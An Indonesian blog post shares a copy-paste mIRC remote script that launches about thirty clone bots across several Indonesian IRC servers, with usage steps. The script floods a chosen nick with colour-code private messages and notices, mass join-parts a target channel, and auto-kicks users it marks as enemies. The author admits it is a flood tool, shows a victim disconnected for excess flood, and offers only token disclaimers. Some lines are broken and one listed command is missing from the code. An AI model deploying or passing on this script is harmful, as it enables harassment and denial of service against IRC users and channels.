apabae

mIRC »

Flood dengan nick bot

Hello temen² semua yang hobby maenan mirc, kali ini aku pengen share gimana si carane bikin bot dari script remote mirc itu sendiri, script ini aku dapet dari temen yang sama² masih nyubi dalam dunia mirc, script remote ini aku dapet juga uda lama terus apa yah kira-kira gunanya bot yang diciptakan dari script remote ini..

sebenernya bot dari script ini digunakan untuk kegiatan flood, aduh aduh.. jadi bagi temen yang berniat jahat sama op channel atau ke channel tertentu mendingan jangan pake de yah, tar kalian kena bannet lhoh.. xixixi.. cz aku pakenya cuma buat ngramein channel aja n bukan buat kejahatan, yah kecuali kalo ada yang jahatin duluan.. hohoho..

liat nih kalo nick ku di flood:



litar tuh gambar di atas uda ada berapa nick yang ngeflood aku sampe sampe aku tewas dengan pesen Quits: @apabae (ap@bae) (Excess Flood) waaaaaa.... wkakakaka..

kalo temen² mau nieh tinggal copas aja script nya dibawah ini:

untuk langkah² penggunaan lihat dibawah ini,

1. pertama ganti nick bot nya ya
2. copy trs paste di remote mirc nya
3. klo sudah di copy trs kasih perintah remote on
cnth : /remote on <<< tulis di mirc
4. .mlebu #namachanel tempat join bot . contoh : .base #matrix
5. .load
6. .muach nickygmaudiflood. contoh : .muach Co_sendiri <<< buat flood nick.
7. .chan #chan_mana_yg_mau_diflood. contoh : .chan #matrix
8. .salto <<< perintah flood chan
9. .minggat <<< buat matiin bot


dan ini script yang mesti temen² copas ke remote mirc nya,


alias -l shift.nick { return nick_1 nick_2 nick_3 nick_4 nick_5 nick_6 nick_7 nick_8 nick_9 nick_10 nick_11 nick_12 nick_13 nick_14 nick_15 nick_16 nick_17 nick_18 nick_19 nick_20 nick_21 nick_22 nick_23 nick_24 nick_25 nick_26 nick_27 nick_28 nick_29 nick_30 }
alias -l shift.iden { return Cc ini team awas calon kulo War nj c Cc ini team awas calon kulo War nj c evil say L User stop awas selalu ku Aku nj demi team }
alias -l shift.serv { return irc.big.net.id irc.indo.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.big.net.id irc.indo.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.sbp.net.id irc.big.net.id irc.telkom.net.id irc.plasa.com irc.indowebster.com irc.jmn.net.id irc.indo.net.id irc.big.net.id irc.elnus.net.id irc.plasa.com irc.jmn.net.id irc.indo.net.id irc.big.net.id irc.telkom.net.id irc.elnus.net.id irc.telkom.net.id }
alias -l shift.port { return 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 6667 }
alias -l shift.pass { return Virus indonet23 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa Virus indonet23 team08 jamur idws44 jawa25 SccTeam njawani 4uplasa idws5 jogjamedianet23 indonet33 bignet25 elnus49 jamur jogjamedianet9 indonet20 bignet15 njawani elnus31 team08 }
on *:exit:{
hfree -w enemy.*
unset %shift.*
}
on *:sockopen:*:{
if ($findtok($shift.nick,$sockname,32)) {
set %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ] $sockname
if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) connected: $sockname
sockwrite -nt $sockname $1- nick $sockname
sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :-
sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}
}
on *:sockclose:*:{
if ($findtok($shift.nick,$sockname,32)) {
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
echo -s $chr(35) $+ $findtok($shift.nick,$sockname,32) disconnected
var %shift.l = $findtok($shift.nick,$sockname,32)
.timershift $+ %shift.l 1 $calc(%shift.l * 5) sockopen $gettok($shift.nick,%shift.l,32) $gettok($shift.serv,%shift.l,32) $gettok($shift.port,%shift.l,32)
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %shift.d
}
}
}
on *:sockread:*:{
if ($findtok($shift.nick,$sockname,32)) {
if ($sockerr > 0) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
return
}
:next
sockread -f %shift.i
if ($sockbr == 0) { return }
tokenize 32 %shift.i
if (($2 == mode) && ($3 == $shift.chan)) {
if (+o isin $4) {
if (($5 == $sockname) || ($6 == $sockname) || ($7 == $sockname) || ($8 == $sockname)) {
if ($me ison $shift.chan) {
unset %shift.s
var %shift.j = $nick($shift.chan,0)
while %shift.j {
if ($hfind(enemy.nick,$nick($shift.chan,%shift.j),0,W)) { sockwrite -nt $sockname kick $shift.chan $nick($shift.chan,%shift.j) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
dec %shift.j
}
}
else {
sockwrite -nt $sockname kick $shift.chan %s :Z
unset %shift.s
}
}
}
}
elseif (($2 == join) && ($shift.chan isin $3)) {
if ($hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me)) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :ZZZZZZZZzzzzzzzzZZZZZZZZZZZzzzzzzzzzZZZZZZZZZZ }
}
elseif ($hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W)) {
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) : 15,14*** 5,5 $+ $chr(32) $+ 0,1 P r 4e 0ma N shift 5,5 $+ $chr(32) $+ 15,14***
}
}
elseif (($2 == kick) && ($3 == $shift.chan)) {
if (($4 == $sockname) || ($4 == $me)) {
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && ($me !ison $shift.chan)) { set %shift.s $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),1,33) != $sockname) && ($gettok($mid($1,2,$len($1)),1,33) != $me) && (!$hfind(enemy.nick,$gettok($mid($1,2,$len($1)),1,33),0,W))) { hadd -m enemy.nick $gettok($mid($1,2,$len($1)),1,33) }
if (($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($sockname,5),2,$len($address($sockname,5))),2,$asc(@))) && ($gettok($mid($1,2,$len($1)),2,$asc(@)) != $gettok($mid($address($me,5),2,$len($address($me,5))),2,$asc(@))) && (!$hfind(enemy.host,$gettok($mid($1,2,$len($1)),2,$asc(@)),0,W))) { hadd -m enemy.host $gettok($mid($1,2,$len($1)),2,$asc(@)) }
if ($4 == $sockname) {
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %shift.d
}
}
elseif ($4 == $me) { sockwrite -nt $sockname kick $shift.chan $gettok($mid($1,2,$len($1)),1,33) :zoro }
}
}
elseif (($2 == minggat) && ($gettok($mid($1,2,$len($1)),1,33) == $sockname)) {
sockclose $sockname
unset %shift.m [ $+ [ $findtok($shift.nick,$sockname,32) ] ]
var %shift.k = $findtok($shift.nick,$sockname,32)
.timershift $+ %shift.k 1 $calc(%shift.k * 5) sockopen $gettok($shift.nick,%shift.k,32) $gettok($shift.serv,%shift.k,32) $gettok($shift.port,%shift.k,32)
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %
}
}
elseif ($2 == 001) {
sockwrite -nt $sockname join %shift.mlebu
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %
}
}
elseif ($2 == 451) {
sockwrite -nt $sockname $1- nick $sockname
sockwrite -nt $sockname user $gettok($shift.iden,$findtok($shift.nick,$sockname,32),32) x x :-
sockwrite -nt $sockname pass $gettok($shift.pass,$findtok($shift.nick,$sockname,32),32)
}
elseif ($2 == 474) {
if ($sock($gettok($shift.nick,%shift.d,32))) { sockwrite -nt $gettok($shift.nick,%shift.d,32) part $shift.chan }
while (%shift.d <= $numtok($shift.nick,32)) {
if (%shift.d == $numtok($shift.nick,32)) { set %shift.d 0 }
if ($sock($gettok($shift.nick,$calc(%shift.d + 1),32))) {
sockwrite -nt $gettok($shift.nick,$calc(%shift.d + 1),32) join $shift.chan
set %shift.d $calc(%shift.d + 1)
break
}
inc %
}
}
elseif (($1 == ping) && ($2)) { sockwrite -nt $sockname pong $2- }
goto next
}
}
on *:input:*: {
if ($1 == .load) {
.clear -s
var %shift.a = 1
while (%shift.a <= $numtok($shift.nick,32)) {
if (!$sock($gettok($shift.nick,%shift.a,32))) { .timershift $+ %shift.a 1 $calc(%shift.a * 5) sockopen $gettok($shift.nick,%shift.a,32) $gettok($shift.serv,%shift.a,32) $gettok($shift.port,%shift.a,32) }
inc %shift.a
}
}
if ($1 == .minggat) {
.clear -s
var %shift.b = 1
while (%shift.b <= $numtok($shift.nick,32)) {
if ($sock($gettok($shift.nick,%shift.b,32))) {
sockclose $gettok($shift.nick,%shift.b,32)
echo -s $chr(35) $+ %shift.b disconnected
}
inc %shift.b
}
.timershift* off
unset %shift.d %shift.m*
}
if ($1 == .mlebu) { echo -s $chr(35) %shift.mlebu #$2 | set %shift.mlebu #$2 }
if ($1 == .chan) { set %shift.chan #$2 }
if ($1 == .join) {
var %shift.c = 1
while (%shift.c <= $numtok($shift.nick,32)) {
if ($sock($gettok($shift.nick,%shift.c,32))) {
sockwrite -nt $gettok($shift.nick,%shift.c,32) join %shift.chan
set %shift.d %shift.c
break
}
inc %shift.c
}
}
if ($1 == .part) {
sockwrite -nt $gettok($shift.nick,%shift.d,32) part %shift.chan
unset %shift.d
}
if ($1 == .muach) {
.timer 5 1 sockwrite -nt * privmsg $2 : a , M ù 12â ç H M ù 2â ç H M ù 8â ç H M ù 10â ç H M ù 11â ç H M ù 7â ç H M ù 3â ç H M ù 1â ç H M ù 9â ç H M ù 5â ç H M ù 12â ç H M ù 13â ç H M ù 5â ç H M ù 11â ç H M ù 3â ç H M ù 14â ç H M ù 3â ç H M ù 7â ç H M ù 5â ç H M ù 5â ç H M ù 3â ç H
.timer 5 1 sockwrite -nt * notice $2 : a , M ù 12â ç H M ù 2â ç H M ù 8â ç H M ù 10â ç H M ù 11â ç H M ù 7â ç H M ù 3â ç H M ù 1â ç H M ù 9â ç H M ù 5â ç H M ù 12â ç H M ù 13â ç H M ù 5â ç H M ù 11â ç H M ù 3â ç H M ù 14â ç H M ù 3â ç H M ù 7â ç H M ù 5â ç H M ù 5â ç H M ù 3â ç H M
}
if ($1 == .flood) {
.timer 5 1 sockwrite -nt * join %shift.chan
.timer 5 1 sockwrite -nt * part %shift.chan : 1,1 4A 14stagfìRuLLah 4H 14alladim.. 4A 14llohu.. 4A 14khbar... 4A 14llohu.. 4A 14khbar.. 4A 14llohu.. 4A 14khbar...!!!
}
}



jika penulisan diatas ada kesalahan sehingga mengakibatkan script itu tidak berjalan dengan semestinya ato mungkin buat temen² yg ingin menyimpan script diatas silahkan bisa download disini atau disini
sekali lagi jangan gunakan untuk kejahatan, ok ok..

aku ucapkan maaf jika ada salah dalam penyampaian dan terimakasih banyak buat orang yang nyiptain script ini, karena dengan ini aku jadi bisa sedikit mengenal dunia mirc, sayangnya aku ga tau sourch nya dari mana jadi ga bisa nampilin.. huhu..

ok selamat mencoba.